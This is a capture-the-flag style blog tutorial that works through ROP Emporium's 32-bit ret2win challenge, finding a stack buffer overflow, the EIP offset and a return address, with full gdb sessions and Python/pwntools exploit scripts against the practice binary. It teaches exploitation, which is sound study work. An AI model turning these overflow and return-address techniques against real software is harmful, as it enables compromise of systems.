Skip to content

Binary Exploitation

Solving ret2win — ROP Emporium Part 1

An introduction to return-oriented programming via ROP Emporium, written while preparing for Offensive Security's Cracking the Perimeter (OSCE).

10 min readOriginally on deceiveyour.team
  • ROP
  • pwn
  • x86

Hey Everyone!

How’s it going? Today, we’re going to be talking about ROP emporium, a great site for learning about return oriented programming, or ROP for short. ROP is something I’ve meaning to learn for a long time, as I work to prepare for the Cracking the Perimeter course by Offensive Security.

Today, we’re going to start off with the basics, beginning with ROP Emporium’s ret2win challenge. This challenge is focused on creating a buffer overflow condition that returns to a function which prints the flag. Let’s get started with explaining what ROP is, then get into reversing the application and then building an exploit!

What is Return-oriented programming

At it’s core, return-oriented programming is an exploitation technique which attackers use to execute code even in the face of security restrictions such as executable stack protections (e.g. NX). This is achieved commonly be re-using instruction sequences that are already part of the binary or target being exploited. Each of these instruction sequences that is used is called a gadget. Generally, a gadget will end with a return statement, but we’re getting ahead of ourselves. Let’s dig in and see what this theory actually means in practice.

Reversing the 32-bit ret2win binary

We’re going to start off today with the 32-bit ret2win binary, as 32-bit is usually a bit easier to get started with. You can download this from this page or directly from this link. Once unzipped, you’ll have a folder with a ret2win executable and flag.txt file.

First thing we need to do with a new executable is figure out what format it’s in (e.g. ELF, EXE, etc.). The easiest way to do this that I’ve found is to use the file command. Using this, we see that this is an elf binary, meaning that it’s designed to be run on a unix system.

~/D/ret2win32 ❯❯❯ ls
flag.txt	ret2win32
~/D/ret2win32 ❯❯❯ file ret2win32
ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=70a25eb0b818fdc0bafabe17e07bccacb8513a53, not stripped

So first things first, let’s open this up in Binary Ninja, though you could use other tools like gdb, peda, radare2, etc. When we open it, we’re presented with the _start method’s instruction set.

To start off, we can see at the top of left sidebar a list of functions. We are currently viewing the _start method, as indicated by the blue highlighting of the method name in the function list. Below that, we see a number of other methods, with three that stand out immediately:

  • main
  • pwnme
  • ret2win

These are of interest to us because main seems to be an entry point we’ll want to analyze, pwnme hints that potentially this is the function that we will need to exploit, and ret2win may be where we need to return to when we complete this challenge. Looking at the graph of the _start function, we see that there we setup the application and then call the main function at the bottom of the code, using the:

push main {var_20}
call __libc_start_main

If we double click on the word main, we can view the graph for that function:

If you aren’t comfortable with assembly language, the above structure may be a bit difficult to read. We can simplify this if we wanted to by click on Options in the bottom right of Binary Ninja and selecting either Low Level IL or Medium Level IL, which will convert the output into Binary Ninja’s intermediate language. Binary Ninja’s documentation, located here, discusses the structure of it in more depth. The intermediate language is usually easier to understand and is consistent across architectures. In this case, we see the following when we convert to the intermediate language.

This makes things much clearer if you’ve worked in the C programming language. The main thing that we see happening here is that the application prepares stdout and stderr, then prints the challenge information to the screen, and finally calls the pwnme method before exiting. Let’s drill into the pwnme method and see what’s happening there. I’ll include both the assembly and the medium IL to help those who may not be comfortable with the assembly (don’t worry, I’ve been there, and in complex programs am still there — you’re in good company).

So if you have been doing exploit development for awhile, you may notice the buffer overflow in this assembly or IL pretty quickly, if you’re not, no worries, let’s step through it. First, we see that the pwnme function allocates a 32 byte (0x20 hex) area of memory. The tool prints out the information about the tool, reads data from stdin using fgets, then returns. Let’s take a quick detour and look at the fgets function signature from http://www.cplusplus.com/reference/cstdio/fgets/:

char * fgets ( char * str, int num, FILE * stream );

So, when the medium IL shows us:

eax_1 = fgets(var_3c_1, 0x32, var_34)

that means that we’re going to load data from var_34 (which is our stdin stream), up to 0x32 characters (50 in decimal / how we “normally” count), and load that into var_3c_1. Now, looking at it again, the medium IL will unintentionally hide a few key details. If we go back to the assembly, we’ll see:

push eax {var_34}
push 0x32 {var_38}
lea eax, [ebp-0x28 {var_2c}]
push eax {var_2c} {var_3c_1}
call fgets

The important is in the load effective address (lea) command there, where it loads 0x28 or 40 bytes of memory into var_2c. This means that theoretically if we send it more than 40 bytes, it will cause a crash condition as we’ll exceed it’s expected bounds. We can verify this by sending a 41 byte payload.

So at this point we have a valid crash scenario, but we’re not sure if we’re overwriting EIP yet or overwriting a return address so that we can gain control of execution. We’ll need to identify this to successfully exploit the binary.

Exploiting the 32-bit ret2win binary

To see if we do, we’ll run the program with gdb, and then check the registers. We first use python to generate a 50 byte payload (which corresponds to the maximum fgets will read), and then start the program using gdb with -q flag to suppress version information on startup.

When we pass the payload, we see a segmentation fault. Using info registers to view the registers, we see that we did gain control of EIP, which is where we need to place our target location.

So now the question is where is EIP and where do we want to go. The where do we want to go is luckily pretty simple for this challenge, so we’ll start there. Earlier we had mentioned that the ret2win function was potentially of interest to us. If we pull that up, in binary ninja, we see that it’s going to give us our flag contents.

So this seems to be the function that we want to jump to. We’ll need to get it’s offset and then put that into EIP so that we can execute it. The real question though is, where exactly is EIP? We’ve sent the program 50 A’s, but that is useless for identifying the four A’s that are getting loaded into EIP. Luckily, Metasploit’s pattern_create and pattern_offset to the rescue!

root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 50
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# gdb ret2win32 -q
Reading symbols from ret2win32...(no debugging symbols found)...done.
(gdb) run
Starting program: /mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges/ret2win32
ret2win by ROP Emporium
32bits
.
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
.
> Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
.
Program received signal SIGSEGV, Segmentation fault.
0x35624134 in ?? ()
(gdb) info registers
eax            0xffffd290	-11632
ecx            0xf7f9e89c	-134616932
edx            0xffffd290	-11632
ebx            0x0	0
esp            0xffffd2c0	0xffffd2c0
ebp            0x62413362	0x62413362
esi            0xf7f9d000	-134623232
edi            0x0	0
eip            0x35624134	0x35624134
eflags         0x10286	[ PF SF IF RF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99
(gdb) q
A debugging session is active.
	Inferior 1 [process 4524] will be killed.
Quit anyway? (y or n) y
root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 50 -q 0x35624134
[*] Exact match at offset 44

Seems that we have control of EIP at offset 44 in our payload. We can start to build out our skeleton exploit:

root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# cat exploit.py
#!/usr/bin/env python
prefix_padding = 'A'*44
eip = 'BBBB'
suffix_padding = 'C'*(50-len(prefix_padding)-len(eip))
print(prefix_padding + eip + suffix_padding)
root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# python exploit.py
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCC

With that together, lets see if the B’s successfully overwrite EIP, and we see 0x42424242 in EIP:

Success! We’ve gained control of EIP, let’s now locate the ret2win function within the executable:

root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# gdb ret2win32 -q
Reading symbols from ret2win32...(no debugging symbols found)...done.
(gdb) info functions ret2win
All functions matching regular expression "ret2win":
Non-debugging symbols:
0x08048659  ret2win
(gdb)

So it looks like the function is at 0x08048659. Let’s replace the B’s in our payload with the return address of ret2win:

root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# cat exploit.py
#!/usr/bin/env python
prefix_padding = 'A'*44
# 0x08048659    ret2win
# we reverse the address order for x86's little-endian nature
eip = '\x59\x86\x04\x08'
suffix_padding = 'C'*(50-len(prefix_padding)-len(eip))
print(prefix_padding + eip + suffix_padding)

Because the ret2win tool just reads from stdin, we can pipe this directly into ret2win to trigger the exploit:

Converting our exploit to pwntools

While this works, we want to make things easier for ourselves. The best way to do this is to use pwntools. We’ll install pwntools using pip install -U pwntools, which at the time of writing this is version 3.12.0. This tutorial should continue to function for the 3.x version branch, but if we’re on 4.x when you’re reading this, the tutorial may no longer apply.

With pwntools installed, we want to start of by importing it and loading the elf, since we’re going to need to leverage information from it. If we just load the binary and setup our context, our skeleton will be:

root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# cat pwntools-exploit.py
#!/usr/bin/env python
from pwn import *
context.update(binary='ret2win32', log_level='info')
ret2win_binary = ELF('ret2win32')
root@kali:/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges# python pwntools-exploit.py
[*] '/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges/ret2win32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Cool, so it seems to be successfully loading our binary. We know that we want to have our program to return to the ret2win function’s address. We can grab that by finding the ret2win function in the function list, and getting it’s address like so:

ret2win_binary.functions.ret2win.address

Now, we want this to be formatted in little endian format, so we’ll wrap that in p32 to get our little-endian formatted return address. This will give us something like:

#!/usr/bin/env python
from pwn import *
context.update(binary='ret2win32', log_level='info')
ret2win_binary = ELF('ret2win32')
ret2win_addr = ret2win_binary.functions.ret2win.address
info('ret2win function address at {a}'.format(a=hex(ret2win_addr)))
eip_addr = p32(ret2win_addr)

If we run this, we’ll see:

[*] '/mnt/hgfs/WindowsVMs/ROP Emporium/rop_emporium_all_challenges/ret2win32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] ret2win function address at 0x8048659

When we compare that to our original exploit we did manually, things match! Great start. Lets find where EIP is located though. We can do this by using the cyclic function in pwntools to generate a pattern, then use the process function to start the process, send our buffer, and cause the crash to occur. This will generate a core dump, which is the state of things at the time of the crash. Using pwntools Coredump class, we can then read the information about the register values. When this is coded, this section will look like so:

buf = cyclic(50)
#
info('Starting process to location the value of EIP at the crash time')
# Start the elf, and wait for it to be ready for input
p = process(ret2win_binary.path)
# Wait till the process is ready for our input
p.recvuntil('> ')
# Send our exploit
p.sendline(buf)
# Wait for the crash to occur
p.wait()
#
# The program should have crashed now
info('Loading core dump to identify the cause of the crash')
core = Coredump('core')
eip_val = core.eip
info('EIP contained {v} at the time of the crash'.format(v=hex(eip_val)))
offset = cyclic_find(eip_val)
info('EIP is located at offset {o}'.format(o=int(offset)))

This will print out:

With the EIP offset found, we’ll wrap things up by sending our desired buffer, causing us to receive the flag!

info('Sending targeted exploit to process')
exploit_buf = 'A'*offset + eip_addr + 'C'*(50-offset-len(eip_addr))
p = process(ret2win_binary.path)
p.recvuntil('> ')
p.sendline(buf)
p.interactive()

For a final exploit of:
#!/usr/bin/env python # from pwn import * from os import remove # # Prepare the binary context.update(binary='ret2win32', log_level='info') ret2win_binary = ELF('ret2win32') # # Find our return address info('locating ret2win address') ret2win_addr = ret2win_binary.functions.ret2win.address info('ret2win function address at {a}'.format(a=hex(ret2win_addr))) eip_addr = p32(ret2win_addr) # buf = cyclic(50) # info('Starting process to location the value of EIP at the crash time') # Start the elf, and wait for it to be ready for input p = process(ret2win_binary.path) # Wait till the process is ready for our input p.recvuntil('> ') # Send our exploit p.sendline(buf) # Wait for the crash to occur p.wait() # # The program should have crashed now info('Loading core dump to identify the cause of the crash') core = Coredump('core') eip_val = core.eip info('EIP contained {v} at the time of the crash'.format(v=hex(eip_val))) offset = cyclic_find(eip_val) info('EIP is located at offset {o}'.format(o=int(offset))) core = None # info('Sending targeted exploit to process') exploit_buf = 'A'*offset + eip_addr + 'C'*(50-offset-len(eip_addr)) p = process(ret2win_binary.path) p.recvuntil('> ') p.sendline(exploit_buf) p.interactive()

Which will give us: